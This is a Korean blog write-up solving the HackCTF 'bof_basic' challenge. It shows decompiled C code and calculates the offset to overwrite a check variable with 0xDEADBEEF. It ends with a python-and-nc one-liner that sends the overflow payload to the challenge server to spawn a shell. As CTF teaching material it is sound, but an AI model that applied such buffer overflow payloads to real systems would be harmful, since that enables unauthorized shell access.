SMALL
일단 문제를 풀기 위해 https://ctf.j0n9hyun.xyz/challenge 사이트에 들어가준다.
들어가서 첫 번째 문제를 확인해보면
이렇게 첫 번째 문제를 푸는 데 필요한 'bof_basic'이라는 파일의 다운로드 링크가 있으니 각각 window와 linux에서 파일을 다운로드 받아 준다.
다운로드 받은 파일을 분석하기 위해 IDA로 파일을 열어 내용이 뭐가 있는지 확인한다.
이런 소스코드가 있고 한 번 해석을 해보자.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+4h] [ebp-34h]
int v5; // [esp+2Ch] [ebp-Ch]
v5 = 0x4030201;
fgets(&s, 45, stdin);
printf("\n[buf]: %s\n", &s);
printf("[check] %p\n", v5);
if ( v5 != 0x4030201 && v5 != 0xDEADBEEF )
puts("\nYou are on the right way!");
if ( v5 == 0xDEADBEEF )
{
puts("Yeah dude! You win!\nOpening your shell...");
system("/bin/dash");
puts("Shell closed! Bye.");
}
return 0;
}
변수 s는 [ebp-34h]에 위치해 있고 변수 v5는 [ebp-Ch]에 위치해 있다.
s와 v5의 거리는 34(16진수) - C(16진수) = 28(16진수) = 40(10진수)가 된다.
fgets() 함수를 통해 s로 입력을 45바이트 입력 받는다.
나머지 5바이트는 0xDEADBEEF로 채워주면 될 것 같다.
따라서 페이로드는 "A"*40 + "\xef\xbe\xad\xde" 형태로 작성해주면 된다.
Payload : (python -c 'print "A"*40 + "\xef\xbe\xad\xde"'; cat) | nc ctf.j0n9hyun.xyz 3000
tmi : 마지막 페이로드는 혼자 구상해 본 건데 성공적으로 플래그가 나와 기분이 좋았다.
LIST
'Pwnable > HackCTF' 카테고리의 다른 글
[HackCTF] Simple_Overflow_ver_2 (2) | 2022.01.07 |
---|---|
[HackCTF] x64 Buffer Overflow 문제 풀이 (2) | 2022.01.04 |
[HackCTF] Baisc_FSB 문제 풀이 (2) | 2021.09.21 |
[HackCTF] Basic_Bof #2 문제 풀이 (0) | 2021.09.19 |